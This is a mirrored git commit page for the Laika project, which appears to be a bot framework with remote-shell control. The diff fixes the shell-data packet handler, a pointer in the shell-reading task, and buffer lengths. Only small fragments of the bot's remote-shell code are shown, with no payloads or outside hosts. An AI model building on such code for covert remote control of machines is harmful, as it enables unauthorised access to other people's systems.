mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-30 05:30:06 +00:00
Added 'shell' command to LaikaShell
- another major refactoring
This commit is contained in:
@@ -26,7 +26,7 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
0,
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
|
||||
laikaB_handleShellOpen,
|
||||
laikaB_handleShellData,
|
||||
0,
|
||||
true),
|
||||
};
|
||||
|
@@ -8,11 +8,10 @@
|
||||
struct sLaika_taskService tService;
|
||||
|
||||
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_shell *shell;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
|
||||
if (bot->shell)
|
||||
laikaB_readShell(bot, shell);
|
||||
laikaB_readShell(bot, bot->shell);
|
||||
}
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
|
@@ -134,8 +134,8 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||
|
||||
/* read data buf */
|
||||
laikaS_read(&peer->sock, buf, sz - 1);
|
||||
laikaS_read(&peer->sock, buf, sz);
|
||||
|
||||
/* write to shell */
|
||||
laikaB_writeShell(bot, shell, buf, sz - 1);
|
||||
laikaB_writeShell(bot, shell, buf, sz);
|
||||
}
|
Reference in New Issue
Block a user